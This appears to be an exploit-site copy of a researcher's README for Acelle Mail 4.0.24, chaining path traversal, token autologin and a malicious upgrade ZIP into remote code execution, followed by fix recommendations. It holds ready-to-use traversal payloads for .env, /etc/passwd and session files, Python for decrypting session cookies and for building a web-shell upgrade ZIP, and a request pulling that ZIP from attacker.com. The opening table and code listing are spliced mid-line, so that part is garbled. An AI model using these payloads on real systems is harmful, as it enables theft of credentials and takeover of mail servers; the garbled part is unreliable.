Sploitus

Exploit for Acelle-Mail-4.0.24-Unauthenticated-Path-Traversal-to-RCE-Chain

githubexploit Β· 2026-08-24

Exploit Code

README439 lines
## https://sploitus.com/exploit?id=AC1C6CCB-4293-5856-8A3E-EF79FBF3897E
# Acelle Mail  **Note:** The path traversal alone (Step 1) is sufficient to dump every file the web server user can read β€” including `/etc/passwd`, Laravel logs, application source code, and database config. The full chain to RCE requires either database access (phpMyAdmin, exposed MySQL port, or SSRF) or a registered account to obtain the admin API token.

---

## Affected Software

| Field | Value |
|-------|-------|
| Software | Acelle Mail (by Acelle/JESWEB) |
| Affected Version | file($absPath, ['Content-Type' => $type]);
        //     ^^^^^^^^^^^^^^^^ β€” Serves ANY file on the filesystem!
    }
    abort(404);
});

// Second variant with display filename support:
Route::get('assets/{name}/{real_name?}', function ($name) {
    // Same vulnerable pattern β€” base64 decode β†’ storage_path() β†’ response()->file()
});
```

**Root Cause:** `$decoded` is never validated against directory traversal sequences (`../`). Encoding `../../.env` as URL-safe base64 (`Li4vLmVudg`) traverses out of the `storage/` directory and reads the application `.env` file.

### Vulnerability 2: Autologin Route Without Protection

```php
// routes/web.php β€” middleware: ['not_installed', 'not_logged_in'] β€” NO auth required!

Route::get('/autologin/{api_token}', 'Controller@autoLogin');

// app/Http/Controllers/Controller.php
public function autoLogin($api_token)
{
    $user = User::where('api_token', $api_token)->first();
    //                               ^^^^^^^^^^ β€” Direct DB lookup, no validation!

    Auth::login($user);
    //   ^^^^^ β€” Instant authentication as ANY user!

    return redirect()->action('HomeController@index');
}
```

**Root Cause:** No rate limiting, no token expiry, no IP binding, no HMAC signature. Anyone with the `api_token` value (obtainable from the database via leaked credentials) gets instant admin access.

### Vulnerability 3: UpgradeFromUrl Arbitrary File Write

```php
// routes/web.php β€” line 955, admin middleware group
Route::match(['get','post'], 'q', 'SettingController@upgradeFromUrl');

// app/Http/Controllers/Admin/SettingController.php
public function upgradeFromUrl(Request $request)
{
    if ($request->isMethod('post')) {
        $downloader = new Downloader($request->input('url'));
        //                           ^^^^^^^^^^^^^^^^^^^^^^ β€” Attacker-controlled URL!

        $tmpPath = storage_path('tmp/upgrade.bin.zip');
        $downloader->downloadTo($tmpPath);
        //          ^^^^^^^^^^^ β€” Downloads ANY file from ANY URL!

        $manager = new UpgradeManager();
        $manager->load($tmpPath);
        //       ^^^^ β€” Extracts ZIP to storage/tmp/patch/

        $failed = $manager->test();
        // ... if writable ...

        $manager->run();
        //       ^^^^ β€” Copies ALL files to base_path() including public/!
        //       No signature check! No file type whitelist!
    }
}
```

**Root Cause:** The upgrade mechanism downloads a ZIP from any URL and extracts its contents to the application root. The `meta.json` inside the ZIP controls which files get written. There is no code signing, no checksum verification, and no restriction on file extensions β€” a `.php` file in the `public/` path of the ZIP gets written directly to the webroot.

### Vulnerability 4: Session Cookies Decryptable with Leaked APP_KEY

```php
// config/session.php
'encrypt' => false,    // ← Session data stored UNENCRYPTED on disk!
'driver'  => 'file',   // ← Plain PHP serialized files in storage/framework/sessions/

// app/Http/Middleware/EncryptCookies.php
protected static $serialize = false;
//                             ^^^^^ β€” Cookie value is NOT unserialized (blocks gadget chains)
//                             BUT the session ID is still AES-256-CBC encrypted with APP_KEY
//                             With APP_KEY leaked, attacker can decrypt ↔ encrypt at will
```

**Cookie format (after decryption):**
```
{sha1_hash}|{40_char_session_id}
```

The session file at `storage/framework/sessions/{session_id}` contains raw PHP serialized data readable via the path traversal.

### Vulnerability 5: Unprotected Sensitive Routes

```php
// routes/web.php β€” middleware: ['not_installed', 'not_logged_in'] β€” PUBLIC!

// Run ALL pending database migrations without authentication
Route::get('/migrate/run', 'Admin\Upgrade@migrate');
// β†’ Artisan::call('migrate', ['--force' => true]);

// Delivery webhooks β€” no auth, no CSRF, log raw user input
Route::post('delivery/notify/{stype?}', 'DeliveryController@notify');
Route::get('delivery/notify/{stype?}', 'DeliveryController@notify');
Route::post('delivery/report', 'DeliveryController@report');
```

The SendGrid webhook handler logs the entire raw POST body to a file:
```php
// In handleSendGrid():
MailLog::info(file_get_contents('php://input'));
// β†’ Writes to storage/logs/handler-sendgrid.log
// β†’ Attacker-controlled PHP code injected into log file
// β†’ No LFI trigger exists to execute it (dead end in this version)
```

---

## Exploitation

### Full Chain: Unauth β†’ RCE

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    ATTACKER (No Auth)                                β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
             β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
             β”‚  Step 1: Path Traversal β†’ Read .env   β”‚  ← GET request
             β”‚  GET /p/assets/Li4vLmVudg             β”‚    No auth
             β”‚  β†’ APP_KEY, DB_PASSWORD, SMTP creds   β”‚
             β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
             β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
             β”‚  Step 2: Access Database               β”‚
             β”‚                                        β”‚
             β”‚  Option A: phpMyAdmin exposed           β”‚  ← Common on
             β”‚    β†’ Login with leaked DB creds         β”‚    shared hosting
             β”‚                                        β”‚
             β”‚  Option B: Session hijack               β”‚  ← APP_KEY
             β”‚    β†’ Decrypt cookie β†’ Read session file β”‚    only
             β”‚    β†’ Find admin session ID              β”‚
             β”‚                                        β”‚
             β”‚  Option C: Register account             β”‚  ← If open
             β”‚    β†’ Get API token from own account     β”‚    registration
             β”‚    β†’ Escalate via SSRF (if available)   β”‚
             β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
             β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
             β”‚  Step 3: Extract admin API token       β”‚  ← SQL query
             β”‚  SELECT api_token FROM users           β”‚
             β”‚    WHERE id = 1;                       β”‚
             β”‚  β†’ "i3UCh7Fz...8xcgz0I8G0"            β”‚
             β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
             β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
             β”‚  Step 4: Autologin as Admin            β”‚  ← GET request
             β”‚  GET /autologin/{api_token}            β”‚    No password
             β”‚  β†’ 302 β†’ Admin dashboard               β”‚    needed
             β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
             β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
             β”‚  Step 5: Upload Shell via /q           β”‚  ← POST request
             β”‚  POST /q                               β”‚
             β”‚  url=https://attacker.com/patch.zip    β”‚
             β”‚  β†’ ZIP extracted to base_path()        β”‚
             β”‚  β†’ public/shell.php written!           β”‚
             β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
             β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
             β”‚  RCE ACHIEVED!                         β”‚
             β”‚  GET /shell.php?cmd=id                 β”‚
             β”‚  β†’ uid=33(www-data)                    β”‚
             β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

### Malicious Upgrade ZIP Structure

```
upgrade_patch.zip
β”œβ”€β”€ meta.json
└── public/
    └── shell.php
```

**meta.json:**
```json
{
  "version": "99.0.0",
  "last_supported": "1.0.0",
  "updated": ["public/shell.php"],
  "deleted": [],
  "packages": [],
  "dirs": []
}
```

The `updated` array tells UpgradeManager which files to copy from the ZIP to `base_path()`. Setting `public/shell.php` writes the shell directly to the webroot.

### Path Traversal PoC Payloads

| Target File | Base64 (URL-safe) | Route |
|------------|-------------------|-------|
| `.env` | `Li4vLmVudg` | `GET /p/assets/Li4vLmVudg` |
| `/etc/passwd` | `Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA` | `GET /p/assets/Li4vLi4v...` |
| `config/app.php` | `Li4vY29uZmlnL2FwcC5waHA` | `GET /p/assets/Li4vY29u...` |
| `config/database.php` | `Li4vY29uZmlnL2RhdGFiYXNlLnBocA` | `GET /p/assets/Li4vY29u...` |
| `laravel.log` | `bG9ncy9sYXJhdmVsLmxvZw` | `GET /p/assets/bG9ncy9s...` |
| Session file | `ZnJhbWV3b3JrL3Nlc3Npb25zL3tJRH0` | `GET /p/assets/ZnJhbWV3...` |
| Apache vhost config | `Li4vLi4vLi4vLi4vZXRjL2FwYWNoZTIvc2l0ZXMtZW5hYmxlZC8wMDAtZGVmYXVsdC5jb25m` | `GET /p/assets/Li4vLi4v...` |

### Session Cookie Decryption (Python)

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64, json, hmac, hashlib

# APP_KEY from leaked .env
key = base64.b64decode('')  # 32 bytes for AES-256-CBC

# Session cookie value (URL-decoded, base64-decoded)
cookie_json = json.loads(base64.b64decode(cookie_value))
iv    = base64.b64decode(cookie_json['iv'])
value = base64.b64decode(cookie_json['value'])
mac   = cookie_json['mac']

# 1. Verify HMAC-SHA256
mac_input = (cookie_json['iv'] + cookie_json['value']).encode()
calc_mac  = hmac.new(key, mac_input, hashlib.sha256).hexdigest()
assert calc_mac == mac  # βœ“ MAC matches β€” key is correct

# 2. Decrypt AES-256-CBC β†’ session ID
cipher     = AES.new(key, AES.MODE_CBC, iv)
decrypted  = unpad(cipher.decrypt(value), AES.block_size).decode()
session_id = decrypted.split('|')[1]  # Format: {hash}|{session_id}

# 3. Read session file via path traversal
# GET /p/assets/{base64("framework/sessions/" + session_id)}
# β†’ Returns raw PHP serialized session data
```

### Upgrade ZIP Builder (Python)

```python
import zipfile, io, json

def build_upgrade_zip(shell_code, output_path='upgrade_patch.zip'):
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        meta = json.dumps({
            "version": "99.0.0",
            "last_supported": "1.0.0",
            "updated": ["public/shell.php"],
            "deleted": [],
            "packages": [],
            "dirs": []
        })
        zf.writestr('meta.json', meta)
        zf.writestr('public/shell.php', shell_code)

    with open(output_path, 'wb') as f:
        f.write(buf.getvalue())

# Usage:
shell = ''
build_upgrade_zip(shell)
```

---

## Vectors Investigated (Dead Ends)

During the audit, the following RCE vectors were **investigated and confirmed blocked** in Acelle Mail 4.0.24 on Laravel 8:

| Vector | Why It's Blocked |
|--------|-----------------|
| Cookie deserialization (APP_KEY β†’ RCE) | `$serialize = false` in EncryptCookies β€” cookies are NOT unserialized |
| Session path traversal β†’ arbitrary session | `ctype_alnum()` + `strlen === 40` on session ID |
| Public file upload | No unauthenticated upload endpoint exists |
| LFI (include/require) | All file serving uses `response()->file()`, never `include()` |
| PHAR deserialization via path traversal | `storage_path()` prepends absolute path, cannot inject `phar://` wrapper |
| Log injection β†’ LFI | Logs written to `storage/logs/`, no include trigger to execute PHP |
| Subscribe image upload | `updateFields()` only saves text, `uploadImage()` never called from public flow |
| MySQL `INTO OUTFILE` | `secure_file_priv = /var/lib/mysql-files/` blocks writes to webroot |
| MySQL `general_log` trick | MySQL user can set `general_log = ON` but cannot change `general_log_file` to webroot |
| Settings logo upload (admin) | Validated with Laravel `'image'` rule β€” rejects `.php` extension |

---

## Vulnerability Summary Table

| # | Vulnerability | Severity | Auth | CWE |
|---|--------------|----------|------|-----|
| 1 | Path Traversal β†’ Arbitrary File Read | **CRITICAL** | None | CWE-22 |
| 2 | `.env` Credential Exposure (APP_KEY, DB, SMTP) | **CRITICAL** | None | CWE-200 |
| 3 | Session Cookie Decryption + Forging | **HIGH** | None* | CWE-347 |
| 4 | Session File Read (Unencrypted on Disk) | **HIGH** | None | CWE-200 |
| 5 | Autologin via API Token (No Rate Limit) | **HIGH** | None** | CWE-306 |
| 6 | UpgradeFromUrl Arbitrary File Write β†’ RCE | **CRITICAL** | Admin | CWE-434 |
| 7 | Public Migration Execution (`/migrate/run`) | **HIGH** | None | CWE-306 |
| 8 | Delivery Webhook Log Injection | **MEDIUM** | None | CWE-117 |
| 9 | Debug Info Leak (laravel.log, stack traces) | **MEDIUM** | None | CWE-209 |
| 10 | SMTP Credential Exposure | **HIGH** | None | CWE-200 |

\* Requires leaked APP_KEY (obtained from vuln #2)
\*\* Requires admin api_token (obtained from DB access or session hijack)

---

## Fix Recommendations

### Fix 1: Sanitize Path Traversal in Asset Routes (Critical)

```php
// BEFORE (vulnerable):
$decoded = base64_decode(str_replace(['-', '_'], ['+', '/'], $name));
$absPath = storage_path($decoded);

// AFTER (safe):
$decoded = base64_decode(str_replace(['-', '_'], ['+', '/'], $name));
$absPath = realpath(storage_path($decoded));

// Ensure resolved path stays within storage directory
if ($absPath === false || !str_starts_with($absPath, storage_path())) {
    abort(404);
}
```

### Fix 2: Protect Autologin Route

```php
// Add rate limiting, token expiry, and IP binding:
Route::get('/autologin/{api_token}', 'Controller@autoLogin')
    ->middleware('throttle:3,60');  // Max 3 attempts per 60 minutes

// In the controller:
public function autoLogin($api_token)
{
    $user = User::where('api_token', $api_token)
        ->where('api_token_expires_at', '>', now())  // Token expiry
        ->first();

    if (!$user) { abort(403); }

    // Regenerate token after use (one-time use)
    $user->update(['api_token' => Str::random(60)]);

    Auth::login($user);
    return redirect()->action('HomeController@index');
}
```

### Fix 3: Add Integrity Check to UpgradeFromUrl

```php
// Verify ZIP signature before extraction:
public function upgradeFromUrl(Request $request)
{
    // ... download ZIP ...

    // Verify digital signature
    $signature = file_get_contents($tmpPath . '.sig');
    $publicKey = file_get_contents(base_path('upgrade_public_key.pem'));
    if (!openssl_verify(file_get_contents($tmpPath), $signature, $publicKey, OPENSSL_ALGO_SHA256)) {
        throw new \Exception('Invalid upgrade signature');
    }

    // Whitelist allowed file extensions
    $allowedExtensions = ['php', 'blade.php', 'js', 'css', 'json', 'html'];
    // ... validate ZIP contents against whitelist ...
}
```

### Fix 4: Encrypt Session Files on Disk

```php
// config/session.php
'encrypt' => true,   // ← Encrypt session data at rest
```

### Fix 5: Protect Sensitive Public Routes

```php
// Move /migrate/run behind authentication:
Route::get('/migrate/run', 'Admin\Upgrade@migrate')
    ->middleware(['auth', 'backend']);

// Add webhook secret to delivery routes:
Route::post('delivery/notify/{stype?}', 'DeliveryController@notify')
    ->middleware('verify.webhook.signature');
```

### Fix 6: Rotate Credentials After Exposure

```bash
# Generate new APP_KEY
php artisan key:generate

# Invalidate all sessions
rm -rf storage/framework/sessions/*

# Change database password
# Change SMTP passwords
# Regenerate all user API tokens
php artisan tinker --execute="App\Models\User::query()->update(['api_token' => null]);"
```

---

## Researcher

- Credit: [Yucaerin](https://yucaerin.github.io/)

---

## References

- [Acelle Mail Official](https://acellemail.com/)
- [Laravel Security β€” Encryption](https://laravel.com/docs/8.x/encryption)
- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)
- [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)
- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)
- [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
- [OWASP: Unrestricted File Upload](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload)

---

## Disclaimer

This information is provided for **educational** and **authorized penetration testing** purposes only. Unauthorized exploitation of computer systems is illegal and unethical. Always obtain explicit written permission before testing any target you do not own.